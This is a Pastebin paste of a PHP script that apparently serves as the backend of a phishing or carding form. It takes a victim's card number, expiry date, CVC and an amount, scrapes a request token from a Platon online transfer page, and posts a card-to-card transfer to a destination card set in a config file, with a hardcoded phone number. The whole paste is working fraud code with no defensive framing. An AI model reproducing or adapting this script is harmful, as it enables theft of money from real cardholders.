Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- include "config.php";
- date_default_timezone_set("Europe/Moscow");
- $date = date("d-m-Y H:i");
- $cardnr = str_replace(" ", "", $_POST["cardFrom"]);
- $amount = round($_POST["amount"]);
- $mounth = $_POST["cardFromMonth"];
- $year = $_POST["cardFromYear"];
- $cvc = $_POST["cardFromCVC"];
- // функция, отвечающая за запросы к сайту и получению массива данных.
- function post($url = null, $params = null, $proxy = null, $proxy_userpwd = null) {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_HEADER, 1);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
- if(isset($params['params'])) {
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, $params['params']);
- }
- if(isset($params['headers'])) {
- curl_setopt($ch, CURLOPT_HTTPHEADER, $params['headers']);
- }
- if(isset($params['cookies'])) {
- curl_setopt($ch, CURLOPT_COOKIE, $params['cookies']);
- }
- if($proxy) {
- curl_setopt($ch, CURLOPT_PROXY, $proxy);
- if($proxy_userpwd) {
- curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_userpwd);
- }
- }
- $result = curl_exec($ch);
- $result_explode = explode("\r\n\r\n", $result);
- $headers = ((isset($result_explode[0])) ? $result_explode[0]."\r\n" : '').''.((isset($result_explode[1])) ? $result_explode[1] : '');
- $content = $result_explode[count($result_explode) - 1];
- preg_match_all('|Set-Cookie: (.*);|U', $headers, $parse_cookies);
- $cookies = implode(';', $parse_cookies[1]);
- curl_close($ch);
- return array('headers' => $headers, 'cookies' => $cookies, 'content' => $content);
- }
- if (!$_SERVER["HTTP_REFERER"])
- die('$_SERVER["HTTP_REFERER"] not found');
- if (!isset($cardnr) || !isset($_POST["cardFromMonth"]) || !isset($_POST["cardFromYear"]) || !isset($_POST["cardFromCVC"]))
- die("cardFrom data not found");
- else if (!isset($_POST["amount"]))
- die("amount data not found");
- else if (!isset($dest_card) || $dest_card == "")
- die("destination card not set");
- else {
- $get_main_page = post('https://secure.platononline.com/payment/transfer/PBZN9K9FYS');
- $input_req = '/<input.*?name=\"req_id\".*value=\"(.*?)\"/i';
- preg_match_all($input_req, $get_main_page['content'], $req_id, PREG_SET_ORDER, 0);
- $cardnr_arr = str_split($cardnr, 4);
- $dest_card_arr = str_split($dest_card, 4);
- $transfer = post('https://secure.platononline.com/payment/transfer/PBZN9K9FYS', [
- 'params' => http_build_query([
- 'currency' => 'UAH',
- 'payer_card_num1' => $cardnr_arr[0],
- 'payer_card_num2' => $cardnr_arr[1],
- 'payer_card_num3' => $cardnr_arr[2],
- 'payer_card_num4' => $cardnr_arr[3],
- 'payer_card_exp_month' => $mounth,
- 'payer_card_exp_year' => $year,
- 'cvv2' => $cvc,
- 'amount' => $amount.".00 грн",
- 'payee_card_num1' => $dest_card_arr[0],
- 'payee_card_num2' => $dest_card_arr[1],
- 'payee_card_num3' => $dest_card_arr[2],
- 'payee_card_num4' => $dest_card_arr[3],
- 'payee_phone' => '',
- 'phone' => '+38(063)664-26-43',
- 'payer_email' => '',
- 'code' => '',
- 'req_id' => $req_id[0][1],
- ]),
- 'headers' => [
- 'user-agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36',
- 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
- 'X-Requested-With: XMLHttpRequest',
- ],
- 'cookies' => $get_main_page['cookies']
- ]);
- print_r($transfer);
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement